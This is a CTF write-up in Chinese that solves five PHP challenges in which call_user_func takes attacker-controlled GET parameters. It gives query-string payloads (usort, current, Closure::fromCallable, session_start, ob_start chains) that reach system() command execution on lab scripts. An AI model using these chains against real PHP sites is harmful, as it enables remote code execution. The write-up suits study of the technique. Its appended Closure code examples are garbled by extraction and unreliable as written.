目录
一
引言
system
是 PHP 的内置函数,直接传递system
(而不是字符串'system'
)会导致 语法错误(system
会被当作常量,未定义时会报错)。['a' => 'ls']
是一个关联数组,但system()
函数只接受 字符串参数(要执行的命令),无法直接处理数组
方法一
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
$a = call_user_func($action, ...$parameters);
在这题我们需要传入两个参数(action、parameters)action是通过GET传入而parameters是直接就可以传入,再call_user_func()函数中$acrion作为回调函数的位置,所以我们要传入执行函数如system等,第二个传入参数的位置是要带入回调函数执行,所以我们可以在parameters这里输入我们的执行语句如ls、whoami。当我传入
但是我发现传入的时候是1=whoami这是一个数组(引言)
这时候$parameters前面有...可以看出这是一个可变参数(接收任意数量的参数),那么我便可以传入数组
我想看一下如果是call_user_func_array是不是可以不用...就可以直接执行 因为array会循环进入system里面执行。
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
$a = call_user_func_array($action, $parameters);
可以可以
方法二
usort(array &$array, callable $callback)
usort函数传入的参数第二个是回调函数可以将第一个传入的参数放入第二个执行,那么我们的第二个方案就来了。
?action=usort&0[0]=system&0[1]=ls&1=call_user_func
在这里面第一个里面传入[0][0]=system,[0][1]=ls,[1]=call_user_func。usort就会将它这样排列
call_user_func(system,ls)
system(ls)
就可以顺利执行我们来断点调试一下。
跟我们想的一样
二
方法一
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
call_user_func($action, $parameters)($_POST['a'])($_POST['b']);
这一题跟上一题的变化是将可变参数删除,在后面添加了($_POST['a'])($_POST[;b'])
主播在看到这道题的想法是两个POST传入的参数肯定是有用的跟第一题的方法肯定不一样
php里面有一个函数current
<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport); // $mode = 'bike';
$mode = current($transport); // $mode = 'bike';
$mode = prev($transport); // $mode = 'foot';
$mode = end($transport); // $mode = 'plane';
$mode = current($transport); // $mode = 'plane';
$arr = array();
var_dump(current($arr)); // bool(false)
$arr = array(array());
var_dump(current($arr)); // array(0) { }
?>
指针指向最后输入的那个plane
我们再来看
call_user_func($action, $parameters)($_POST['a'])($_POST['b']);
主播将可以将它分为三个部分看
首先执行的是call_user_func($acrion,$parameters)-->one
one($_POST['a'])--->twe
two($_POST['b'])
那么我可以使用current函数首先我们第一个call_user_func里面可以这样传入
$action=current&x=current
这样call_user_func(current,'x'=>'current')
这样输出的就是current函数
就变成了current($_POST['a'])
这样指针自然就指向了输入的这个值a就变成了
a($_POST['b'])
这时候主播就有想法了
我们将a传入system
b传入执行语句如ls是不是就可以执行了
这里的时候报错了我的发???
说主播传入的不是一个string类型
ok嘛他认为我传入的system是一个假的字符串OK嘛
刚刚主播发现在array里面传入就会被自动加上''那么我可以将传入的a变为一个数组这样就ok了
(因为前面的函数是current它接收的是数组所以传入的a值必须是数组的形式)
ok啊
方法二
Closure::fromCallable闭包函数
也有回调函数。是不是也可以利用呢
闭包函数跟current有相似的功能在执行过后
call_user_func(Closure::fromCallable,[0 => 'Closure', 1 => 'fromCallable'])
Closure::fromCallable($_POST['a'])($_POST['b'])
假如我传入a的值为system是不是就可以变成
system($_POST['b'])
如果传入b的值是ls是不是就可以执行了
system(ls)
这个错误表明你在尝试使用
Closure::fromCallable()
方法时,传入的参数不符合要求。fromCallable
期望接收一个有效的 callable(可调用对象),但你的参数可能是一个数组,且第一个元素不是有效的类名或对象。
主播将x和y改为0和1形成----->['Closure','fromCallable']
附加闭包函数解释
示例 1:将普通函数转换为闭包
<?Php
function sayHello($name)
{
return
"Hello, $name!"
;
}
// 使用 Closure::fromCallable 将普通函数转换为闭包$closure
=
Closure::
fromCallable(
'sayHello');
// 调用闭包echo
$closure
(
'World');
// 输出:Hello, World!?>示例 2:将类方法转换为闭包
<?Php
class Greeter
{
public
function greet($name)
{
return
"Greetings, $name!"
;
}
}
$greeter
=
newGreeter
();
// 将实例方法转换为闭包$closure
=
Closure::
fromCallable([
$greeter,
'greet']);
// 调用闭包echo
$closure
(
'Alice');
// 输出:Greetings, Alice!?>示例 3:将静态方法转换为闭包
<?Php
class StaticGreeter
{
public
static
function greet($name)
{
return
"Hello from static, $name!"
;
}
}
// 将静态方法转换为闭包$closure
=
Closure::
fromCallable([
'StaticGreeter',
'greet']);
// 调用闭包echo
$closure
(
'Bob');
// 输出:Hello from static, Bob!?>示例 4:将匿名函数转换为闭包
虽然匿名函数本身已经是闭包,但
Closure::fromCallable
可以用来创建一个新闭包对象:<?php
$anonFunction
=
function($name){
return
"Hi, $name!"
;
};
// 将匿名函数转换为闭包$closure
=
Closure::
fromCallable(
$anonFunction);
// 调用闭包echo
$closure
(
'Charlie');
// 输出:Hi, Charlie!?>示例 5:使用可调用对象
<?phpclass CallableClass
{
public
function __invoke($name)
{
return
"Invoked with $name!"
;
}
}
$callableObject
=
newCallableClass
();
// 将可调用对象转换为闭包$closure
=
Closure::
fromCallable(
$callableObject);
// 调用闭包echo
$closure
(
'Dave');
// 输出:Invoked with Dave!?>总结
Closure::fromCallable
方法提供了一种方便的方式将不同类型的可调用(函数、类方法、可调用对象)转换为闭包对象,从而可以用统一的方式来调用这些可调用。这个特性在编写更灵活的代码时非常有用,比如在函数式编程中或需要将不同的回调传递给函数时。
三
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
call_user_func($action, $parameters);
if(count(glob(__DIR__.'/*'))>3){
readfile('flag.txt');
}
分析代码:首先要传入参数'action'和通过GET方法传入$parameters然后经过对传入的action检查如果 $parameters 数组中存在键名为 'action' 的元素,就删除它。然后执行call_user_func,最后检擦当前目录下是否大于3个文件如果大于3个就会输出flag.txt中的内容。
解题思路:肯定是需要主播用call_user_func创建文件然后使本目录下的文件大于3个的时候这个if语句就会被执行然后拿下flag
创建文件的方式有
1:fopen()
+fclose()
2:file_put_contents()
3:touch()
4:tmpfile()
5:mkdir()
很显眼3、4、5都用不起因为这是系统命令
1和2应该也用不起因为传入的参数都是大于2个,传入的就是数组了格式不正确无法执行。
那么还有没有其他的创建文件的方法呢?
我们在浏览一个网页的时候会创建cookie和session,cookie是创建文件在客户端,而session是创建在服务端,那我们是不是有session这种命令呢?
有的有的兄弟
session_start
session_start会启动一个新的会话,那意思就是说可以创建一个新的session文件,那么
session_start是否有一个参数可以修改session文件的地址呢?
有的有的兄弟
ok啊我们现在还差当前目录的地址,在上一次的测试的时候发现这个网站开了debug所以他会爆出自己的地址 。
很明显
/usr/local/nginx/html/test/test.php
那我们的值可以这样传入:save_path=/usr/local/nginx/html/test/
action=session_start
开始尝试
删除cookie再来一次
ok
四
<?php
Class A{
static function f(){
system($_POST['a']);
}
}
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
call_user_func($action, $parameters);
分析代码:可以看出还是要传入两个参数$action、$parameters
如果 $parameters 数组中存在键名为 'action' 的元素,就删除它。
然后就是执行call_user_func函数,主播发现在前面还有一个A类,在里面还有一个f静态方法,里面就是system系统执行函数那么主播认为可以调用A类里面的f方法然后传入想要执行的代码即可开始执行
这样传入就可以了
意思就是call_user_func(call_user_func,['A','f']
这样就可以变成call_user_func(A,f)
然后POST传入a的执行命令ls就可以执行了
五
<?php
Class A{
static function f(string $a){
system($a);
}
}
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
call_user_func($action, $parameters);
echo $_POST['a'];
代码分析:这道题和上一道题的代码差不多,但是主播发现这里我们需要传入的POST参数我们不能直接传入了因为他根本没有接口让我们传入,但是这一个代码多了一个echo $_POST['a'],那我们可不可以使用传入的这个字符串'a'来当我们上面传入的a的值呢?是否有一个函数支持我们实现我们这个想法。
有的有的兄弟
ob_start
当我们用了ob_start这个函数的时候我们再使用echo输入的参数a就会被留再缓冲区,然后这个时候我们调用A类的f函数这里的a就会被赋值那么就可以执行了。开始尝试
结束